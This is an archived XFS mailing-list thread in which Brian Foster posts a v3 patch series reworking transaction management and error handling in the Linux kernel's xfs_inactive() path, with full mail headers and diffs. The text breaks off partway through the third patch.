SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 67BD87F37 for ; Fri, 20 Sep 2013 10:06:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3B6C48F8074 for ; Fri, 20 Sep 2013 08:06:16 -0700 (PDT) X-ASG-Debug-ID: 1379689575-04bdf053873059d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GdTWZ4WQXu4IRwfl for ; Fri, 20 Sep 2013 08:06:15 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6FSM010630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 11:06:15 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6Ex1025154 for ; Fri, 20 Sep 2013 11:06:14 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 96C5F123236; Fri, 20 Sep 2013 11:06:12 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 0/4] xfs: rework xfs_inactive() Date: Fri, 20 Sep 2013 11:06:08 -0400 X-ASG-Orig-Subj: [PATCH v3 0/4] xfs: rework xfs_inactive() Message-Id: <1379689572-5543-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379689575 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, This set reworks the xfs_inactive() path with the intent to clean up the transaction management overall. This is preparation work for the free inode btree set and subsequent work in the area. The patches clean up the remote symlink work, truncate work and ifree work respectively. This passes through a quick xfstests run (with debug and lockdep) without any major explosions. Thoughts appreciated. Brian v3: - Error handling fixes: cancel transaction before iunlock. v2: - Cleaned up error handling throughout the set. - Added inode locking to xfs_inactive_symlink(). - Added patch 4 to clean up xfs_inactive() after transaction management purge. Brian Foster (4): xfs: push down inactive transaction mgmt for remote symlinks xfs: push down inactive transaction mgmt for truncate xfs: push down inactive transaction mgmt for ifree xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE fs/xfs/xfs_inode.c | 241 +++++++++++++++++++++++++++++---------------------- fs/xfs/xfs_inode.h | 2 +- fs/xfs/xfs_symlink.c | 86 +++++++++--------- fs/xfs/xfs_symlink.h | 2 +- fs/xfs/xfs_vnode.h | 8 -- 5 files changed, 180 insertions(+), 159 deletions(-) -- 1.8.1.4 From bfoster@redhat.com Fri Sep 20 10:06:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BD9AC7F37 for ; Fri, 20 Sep 2013 10:06:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8D5D28F8059 for ; Fri, 20 Sep 2013 08:06:16 -0700 (PDT) X-ASG-Debug-ID: 1379689575-04bdf02f211274230001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2TNDxzsXlSMEAjN9 for ; Fri, 20 Sep 2013 08:06:15 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6F5h032476 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 11:06:15 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6E9Q025156 for ; Fri, 20 Sep 2013 11:06:14 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id AA0D81233CD; Fri, 20 Sep 2013 11:06:12 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 2/4] xfs: push down inactive transaction mgmt for truncate Date: Fri, 20 Sep 2013 11:06:10 -0400 X-ASG-Orig-Subj: [PATCH v3 2/4] xfs: push down inactive transaction mgmt for truncate Message-Id: <1379689572-5543-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1379689572-5543-1-git-send-email-bfoster@redhat.com> References: <1379689572-5543-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379689575 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Create the new xfs_inactive_truncate() function to handle the truncate portion of xfs_inactive(). Push the locking and transaction management into the new function. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 117 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 68 insertions(+), 49 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 30db70e..ff4e729 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1663,6 +1663,58 @@ xfs_release( } /* + * xfs_inactive_truncate + * + * Called to perform a truncate when an inode becomes unlinked. + */ +STATIC int +xfs_inactive_truncate( + struct xfs_inode *ip) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + /* + * Log the inode size first to prevent stale data exposure in the event + * of a system crash before the truncate completes. See the related + * comment in xfs_setattr_size() for details. + */ + ip->i_d.di_size = 0; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + + error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); + if (error) + goto error_trans_cancel; + + ASSERT(ip->i_d.di_nextents == 0); + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto error_unlock; + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return 0; + +error_trans_cancel: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); +error_unlock: + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/* * xfs_inactive * * This is called when the vnode reference count for the vnode @@ -1679,7 +1731,6 @@ xfs_inactive( int committed; struct xfs_trans *tp; struct xfs_mount *mp; - struct xfs_trans_res *resp; int error; int truncate = 0; @@ -1724,35 +1775,12 @@ xfs_inactive( if (error) return VN_INACTIVE_CACHE; - if (S_ISLNK(ip->i_d.di_mode)) { + if (S_ISLNK(ip->i_d.di_mode)) error = xfs_inactive_symlink(ip); - if (error) - goto out; - } - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; - - error = xfs_trans_reserve(tp, resp, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - return VN_INACTIVE_CACHE; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - - if (truncate) { - ip->i_d.di_size = 0; - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - - error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); - if (error) - goto out_cancel; - - ASSERT(ip->i_d.di_nextents == 0); - } + else if (truncate) + error = xfs_inactive_truncate(ip); + if (error) + goto out; /* * If there are attributes associated with the file then blow them away @@ -1763,25 +1791,9 @@ xfs_inactive( if (ip->i_d.di_anextents > 0) { ASSERT(ip->i_d.di_forkoff != 0); - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto out_unlock; - - xfs_iunlock(ip, XFS_ILOCK_EXCL); - error = xfs_attr_inactive(ip); if (error) goto out; - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); - if (error) { - xfs_trans_cancel(tp, 0); - goto out; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); } if (ip->i_afp) @@ -1789,6 +1801,17 @@ xfs_inactive( ASSERT(ip->i_d.di_anextents == 0); + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); + goto out; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + /* * Free the inode. */ @@ -1831,13 +1854,9 @@ xfs_inactive( * Release the dquots held by inode, if any. */ xfs_qm_dqdetach(ip); -out_unlock: xfs_iunlock(ip, XFS_ILOCK_EXCL); out: return VN_INACTIVE_CACHE; -out_cancel: - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); - goto out_unlock; } /* -- 1.8.1.4 From bfoster@redhat.com Fri Sep 20 10:06:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9DE1D7F55 for ; Fri, 20 Sep 2013 10:06:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8DE1F304032 for ; Fri, 20 Sep 2013 08:06:16 -0700 (PDT) X-ASG-Debug-ID: 1379689575-04cb6c153d1229c10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XyrLs7AP2G8wOnPS for ; Fri, 20 Sep 2013 08:06:15 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6FLk032477 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 11:06:15 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6EbL012149 for ; Fri, 20 Sep 2013 11:06:14 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 9F8CF122DE4; Fri, 20 Sep 2013 11:06:12 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 1/4] xfs: push down inactive transaction mgmt for remote symlinks Date: Fri, 20 Sep 2013 11:06:09 -0400 X-ASG-Orig-Subj: [PATCH v3 1/4] xfs: push down inactive transaction mgmt for remote symlinks Message-Id: <1379689572-5543-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1379689572-5543-1-git-send-email-bfoster@redhat.com> References: <1379689572-5543-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379689575 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Push down the transaction management for remote symlinks from xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is cleaned up to avoid transaction management intended for the calling context (i.e., trans duplication, reservation, item attachment). Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 15 ++++----- fs/xfs/xfs_symlink.c | 86 ++++++++++++++++++++++++---------------------------- fs/xfs/xfs_symlink.h | 2 +- 3 files changed, 49 insertions(+), 54 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index e3d7538..30db70e 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1724,9 +1724,14 @@ xfs_inactive( if (error) return VN_INACTIVE_CACHE; + if (S_ISLNK(ip->i_d.di_mode)) { + error = xfs_inactive_symlink(ip); + if (error) + goto out; + } + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - resp = (truncate || S_ISLNK(ip->i_d.di_mode)) ? - &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; + resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; error = xfs_trans_reserve(tp, resp, 0, 0); if (error) { @@ -1738,11 +1743,7 @@ xfs_inactive( xfs_ilock(ip, XFS_ILOCK_EXCL); xfs_trans_ijoin(tp, ip, 0); - if (S_ISLNK(ip->i_d.di_mode)) { - error = xfs_inactive_symlink(ip, &tp); - if (error) - goto out_cancel; - } else if (truncate) { + if (truncate) { ip->i_d.di_size = 0; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f622a97..ded282b 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -424,8 +424,7 @@ xfs_symlink( */ STATIC int xfs_inactive_symlink_rmt( - xfs_inode_t *ip, - xfs_trans_t **tpp) + struct xfs_inode *ip) { xfs_buf_t *bp; int committed; @@ -437,11 +436,9 @@ xfs_inactive_symlink_rmt( xfs_mount_t *mp; xfs_bmbt_irec_t mval[XFS_SYMLINK_MAPS]; int nmaps; - xfs_trans_t *ntp; int size; xfs_trans_t *tp; - tp = *tpp; mp = ip->i_mount; ASSERT(ip->i_df.if_flags & XFS_IFEXTENTS); /* @@ -453,6 +450,16 @@ xfs_inactive_symlink_rmt( */ ASSERT(ip->i_d.di_nextents > 0 && ip->i_d.di_nextents <= 2); + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) { + xfs_trans_cancel(tp, 0); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + /* * Lock the inode, fix the size, and join it to the transaction. * Hold it so in the normal path, we still have it locked for @@ -471,7 +478,7 @@ xfs_inactive_symlink_rmt( error = xfs_bmapi_read(ip, 0, xfs_symlink_blocks(mp, size), mval, &nmaps, 0); if (error) - goto error0; + goto error_trans_cancel; /* * Invalidate the block(s). No validation is done. */ @@ -481,22 +488,24 @@ xfs_inactive_symlink_rmt( XFS_FSB_TO_BB(mp, mval[i].br_blockcount), 0); if (!bp) { error = ENOMEM; - goto error1; + goto error_bmap_cancel; } xfs_trans_binval(tp, bp); } /* * Unmap the dead block(s) to the free_list. */ - if ((error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, - &first_block, &free_list, &done))) - goto error1; + error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, + &first_block, &free_list, &done); + if (error) + goto error_bmap_cancel; ASSERT(done); /* * Commit the first transaction. This logs the EFI and the inode. */ - if ((error = xfs_bmap_finish(&tp, &free_list, &committed))) - goto error1; + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto error_bmap_cancel; /* * The transaction must have been committed, since there were * actually extents freed by xfs_bunmapi. See xfs_bmap_finish. @@ -511,26 +520,13 @@ xfs_inactive_symlink_rmt( xfs_trans_ijoin(tp, ip, 0); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); /* - * Get a new, empty transaction to return to our caller. - */ - ntp = xfs_trans_dup(tp); - /* * Commit the transaction containing extent freeing and EFDs. - * If we get an error on the commit here or on the reserve below, - * we need to unlock the inode since the new transaction doesn't - * have the inode attached. */ - error = xfs_trans_commit(tp, 0); - tp = ntp; + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); if (error) { ASSERT(XFS_FORCED_SHUTDOWN(mp)); - goto error0; + goto error_unlock; } - /* - * transaction commit worked ok so we can drop the extra ticket - * reference that we gained in xfs_trans_dup() - */ - xfs_log_ticket_put(tp->t_ticket); /* * Remove the memory for extent descriptions (just bookkeeping). @@ -538,23 +534,16 @@ xfs_inactive_symlink_rmt( if (ip->i_df.if_bytes) xfs_idata_realloc(ip, -ip->i_df.if_bytes, XFS_DATA_FORK); ASSERT(ip->i_df.if_bytes == 0); - /* - * Put an itruncate log reservation in the new transaction - * for our caller. - */ - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - goto error0; - } - xfs_trans_ijoin(tp, ip, 0); - *tpp = tp; + xfs_iunlock(ip, XFS_ILOCK_EXCL); return 0; - error1: +error_bmap_cancel: xfs_bmap_cancel(&free_list); - error0: +error_trans_cancel: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); +error_unlock: + xfs_iunlock(ip, XFS_ILOCK_EXCL); return error; } @@ -563,41 +552,46 @@ xfs_inactive_symlink_rmt( */ int xfs_inactive_symlink( - struct xfs_inode *ip, - struct xfs_trans **tp) + struct xfs_inode *ip) { struct xfs_mount *mp = ip->i_mount; int pathlen; trace_xfs_inactive_symlink(ip); - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); + xfs_ilock(ip, XFS_ILOCK_EXCL); + /* * Zero length symlinks _can_ exist. */ pathlen = (int)ip->i_d.di_size; - if (!pathlen) + if (!pathlen) { + xfs_iunlock(ip, XFS_ILOCK_EXCL); return 0; + } if (pathlen < 0 || pathlen > MAXPATHLEN) { xfs_alert(mp, "%s: inode (0x%llx) bad symlink length (%d)", __func__, (unsigned long long)ip->i_ino, pathlen); + xfs_iunlock(ip, XFS_ILOCK_EXCL); ASSERT(0); return XFS_ERROR(EFSCORRUPTED); } if (ip->i_df.if_flags & XFS_IFINLINE) { - if (ip->i_df.if_bytes > 0) + if (ip->i_df.if_bytes > 0) xfs_idata_realloc(ip, -(ip->i_df.if_bytes), XFS_DATA_FORK); + xfs_iunlock(ip, XFS_ILOCK_EXCL); ASSERT(ip->i_df.if_bytes == 0); return 0; } + xfs_iunlock(ip, XFS_ILOCK_EXCL); + /* remove the remote symlink */ - return xfs_inactive_symlink_rmt(ip, tp); + return xfs_inactive_symlink_rmt(ip); } diff --git a/fs/xfs/xfs_symlink.h b/fs/xfs/xfs_symlink.h index 99338ba..e75245d 100644 --- a/fs/xfs/xfs_symlink.h +++ b/fs/xfs/xfs_symlink.h @@ -22,6 +22,6 @@ int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, const char *target_path, umode_t mode, struct xfs_inode **ipp); int xfs_readlink(struct xfs_inode *ip, char *link); -int xfs_inactive_symlink(struct xfs_inode *ip, struct xfs_trans **tpp); +int xfs_inactive_symlink(struct xfs_inode *ip); #endif /* __XFS_SYMLINK_H */ -- 1.8.1.4 From bfoster@redhat.com Fri Sep 20 10:06:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A54677F56 for ; Fri, 20 Sep 2013 10:06:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4FC11AC001 for ; Fri, 20 Sep 2013 08:06:16 -0700 (PDT) X-ASG-Debug-ID: 1379689575-04bdf02f221274240001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id QdMISzJns4Yr956a for ; Fri, 20 Sep 2013 08:06:15 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6FlQ023380 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 11:06:15 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6ED9025158 for ; Fri, 20 Sep 2013 11:06:14 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id C52E0123405; Fri, 20 Sep 2013 11:06:12 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 4/4] xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE Date: Fri, 20 Sep 2013 11:06:12 -0400 X-ASG-Orig-Subj: [PATCH v3 4/4] xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE Message-Id: <1379689572-5543-5-git-send-email-bfoster@redhat.com> In-Reply-To: <1379689572-5543-1-git-send-email-bfoster@redhat.com> References: <1379689572-5543-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379689575 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The xfs_inactive() return value is meaningless. Turn xfs_inactive() into a void function and clean up the error handling appropriately. Kill the VN_INACTIVE_[NO]CACHE directives as they are not relevant to Linux. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner --- fs/xfs/xfs_inode.c | 28 +++++++++++----------------- fs/xfs/xfs_inode.h | 2 +- fs/xfs/xfs_vnode.h | 8 -------- 3 files changed, 12 insertions(+), 26 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b7e9279..64f7733 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1790,7 +1790,7 @@ xfs_inactive_ifree( * now be truncated. Also, we clear all of the read-ahead state * kept for the inode here since the file is now closed. */ -int +void xfs_inactive( xfs_inode_t *ip) { @@ -1805,16 +1805,14 @@ xfs_inactive( if (ip->i_d.di_mode == 0 || is_bad_inode(VFS_I(ip))) { ASSERT(ip->i_df.if_real_bytes == 0); ASSERT(ip->i_df.if_broot_bytes == 0); - return VN_INACTIVE_CACHE; + return; } mp = ip->i_mount; - error = 0; - /* If this is a read-only mount, don't do this (would generate I/O) */ if (mp->m_flags & XFS_MOUNT_RDONLY) - goto out; + return; if (ip->i_d.di_nlink != 0) { /* @@ -1822,12 +1820,10 @@ xfs_inactive( * cache. Post-eof blocks must be freed, lest we end up with * broken free space accounting. */ - if (xfs_can_free_eofblocks(ip, true)) { - error = xfs_free_eofblocks(mp, ip, false); - if (error) - return VN_INACTIVE_CACHE; - } - goto out; + if (xfs_can_free_eofblocks(ip, true)) + xfs_free_eofblocks(mp, ip, false); + + return; } if (S_ISREG(ip->i_d.di_mode) && @@ -1837,14 +1833,14 @@ xfs_inactive( error = xfs_qm_dqattach(ip, 0); if (error) - return VN_INACTIVE_CACHE; + return; if (S_ISLNK(ip->i_d.di_mode)) error = xfs_inactive_symlink(ip); else if (truncate) error = xfs_inactive_truncate(ip); if (error) - goto out; + return; /* * If there are attributes associated with the file then blow them away @@ -1857,7 +1853,7 @@ xfs_inactive( error = xfs_attr_inactive(ip); if (error) - goto out; + return; } if (ip->i_afp) @@ -1870,14 +1866,12 @@ xfs_inactive( */ error = xfs_inactive_ifree(ip); if (error) - goto out; + return; /* * Release the dquots held by inode, if any. */ xfs_qm_dqdetach(ip); -out: - return VN_INACTIVE_CACHE; } /* diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 4a91358..cce62ce 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -316,7 +316,7 @@ static inline int xfs_isiflocked(struct xfs_inode *ip) int xfs_release(struct xfs_inode *ip); -int xfs_inactive(struct xfs_inode *ip); +void xfs_inactive(struct xfs_inode *ip); int xfs_lookup(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode **ipp, struct xfs_name *ci_name); int xfs_create(struct xfs_inode *dp, struct xfs_name *name, diff --git a/fs/xfs/xfs_vnode.h b/fs/xfs/xfs_vnode.h index db14d0c..3e8e797 100644 --- a/fs/xfs/xfs_vnode.h +++ b/fs/xfs/xfs_vnode.h @@ -25,14 +25,6 @@ struct xfs_inode; struct attrlist_cursor_kern; /* - * Return values for xfs_inactive. A return value of - * VN_INACTIVE_NOCACHE implies that the file system behavior - * has disassociated its state and bhv_desc_t from the vnode. - */ -#define VN_INACTIVE_CACHE 0 -#define VN_INACTIVE_NOCACHE 1 - -/* * Flags for read/write calls - same values as IRIX */ #define IO_ISDIRECT 0x00004 /* bypass page cache */ -- 1.8.1.4 From bfoster@redhat.com Fri Sep 20 10:06:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D25E7F55 for ; Fri, 20 Sep 2013 10:06:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B11EEAC002 for ; Fri, 20 Sep 2013 08:06:19 -0700 (PDT) X-ASG-Debug-ID: 1379689575-04cbb02c3e1226200001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1Mc12aPDSaHC9pZ3 for ; Fri, 20 Sep 2013 08:06:15 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6Fi4023381 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 11:06:15 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8KF6Erp024262 for ; Fri, 20 Sep 2013 11:06:14 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id B89FA1233EE; Fri, 20 Sep 2013 11:06:12 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 3/4] xfs: push down inactive transaction mgmt for ifree Date: Fri, 20 Sep 2013 11:06:11 -0400 X-ASG-Orig-Subj: [PATCH v3 3/4] xfs: push down inactive transaction mgmt for ifree Message-Id: <1379689572-5543-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1379689572-5543-1-git-send-email-bfoster@redhat.com> References: <1379689572-5543-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379689575 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Push the inode free work performed during xfs_inactive() down into a new xfs_inactive_ifree() helper. This clears xfs_inactive() from all inode locking and 